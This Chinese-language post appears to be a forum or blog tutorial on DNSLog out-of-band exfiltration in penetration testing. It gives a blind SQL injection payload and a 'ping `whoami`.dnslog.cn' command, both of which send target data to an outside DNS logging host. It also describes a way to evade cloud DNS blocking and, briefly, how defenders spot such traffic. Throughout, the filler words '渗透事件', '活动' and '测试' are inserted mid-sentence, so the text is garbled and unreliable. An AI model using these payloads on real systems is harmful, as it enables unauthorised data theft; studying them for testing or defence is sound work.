游客发表
DNSLog渗透测试的渗透事件核心逻辑其实就一句话:让目标服务器替你发起DNS查询,你在自己的测试DNS服务器上看到记录,就知道命令执行成功了。活动这招在盲注场景里几乎是渗透事件救命稻草。
我第一次接触DNSLog是测试在一个SQL注入点上。目标站点过滤了所有回显,活动union注入打不出来,渗透事件报错注入也被WAF拦了。测试当时试了时间盲注,活动响应延迟忽大忽小,渗透事件根本没法判断。测试后来换用DNSLog,活动构造了一条LOAD_FILE(CONCAT('\\\\',渗透事件(SELECT database()),'.xxxx.ceye.io\\abc')),不到十秒,测试ceye平台上就弹出了数据库名的活动DNS记录。那一刻的感觉,比中彩票还爽。
很多内网环境把HTTP出站封得死死的,但DNS查询往往不受限制。原因很简单——没有DNS,服务器连域名都解析不了,业务直接瘫痪。所以防火墙通常会给DNS开绿灯。渗透测试利用的就是这个信任缺口。目标机器只要能解析域名,就能把数据带出来。
具体怎么带?拿命令执行来说。假设你通过某个漏洞让目标执行了ping `whoami`.dnslog.cn,目标机器会先解析whoami的结果拼接的域名。DNS请求发到dnslog.cn的权威服务器上,你在平台就能看到www-data.dnslog.cn这条记录。数据就这么出来了,不需要目标主动回连你的机器。
常用的DNSLog平台有ceye.io、dnslog.cn、Burp Collaborator。ceye功能最全,支持DNS、HTTP、LDAP多种协议,但免费版有额度限制。dnslog.cn简单粗暴,打开网页就能用,缺点是记录只保留很短时间。Burp Collaborator适合已经买了Burp Pro的人,集成在Burp里操作顺手。
实际测试中有几个坑得注意。Windows下ping命令对特殊字符处理很敏感,|、&这些符号经常导致命令拼接失败。Linux下用curl或者nslookup更稳。另外,DNS记录有缓存,别用同一个子域名反复测试,不然第二次可能被缓存挡住看不到新记录。每次加个随机前缀,比如test123.xxxx.ceye.io。
有次打一个站,命令执行漏洞确认了,但DNSLog死活收不到记录。我换了三个平台,试了各种编码,折腾了两个小时。最后发现目标服务器压根没配DNS,/etc/resolv.conf是空的。这种情况下DNSLog完全失效,只能走HTTP回连或者直接反弹shell。所以DNSLog不是万能的,得先确认目标能正常解析域名。
还有个细节:有些云厂商的DNS会做拦截,尤其是阿里云和腾讯云的内网DNS,对未知域名的查询可能直接返回NXDOMAIN,根本不往外发。遇到这种情况,换一个不常用的域名后缀试试,比如.top或者.xyz,有时候能绕过。
从蓝队角度,DNSLog流量其实有特征。大量随机子域名的DNS查询、TXT记录异常增长、指向同一IP的短域名解析,这些都是信号。企业内网如果部署了DNS安全网关,可以拦截已知的DNSLog平台域名。但攻击者换个自建DNS服务器,这招就废了。说到底,DNSLog利用的是协议设计上的信任模型,只要DNS还得用,这个口子就堵不死。
我个人习惯在渗透测试的早期就挂上DNSLog平台,哪怕暂时用不到。因为你永远不知道哪个注入点最后会变成盲注,提前准备好监听,省得临时抓瞎。
友情链接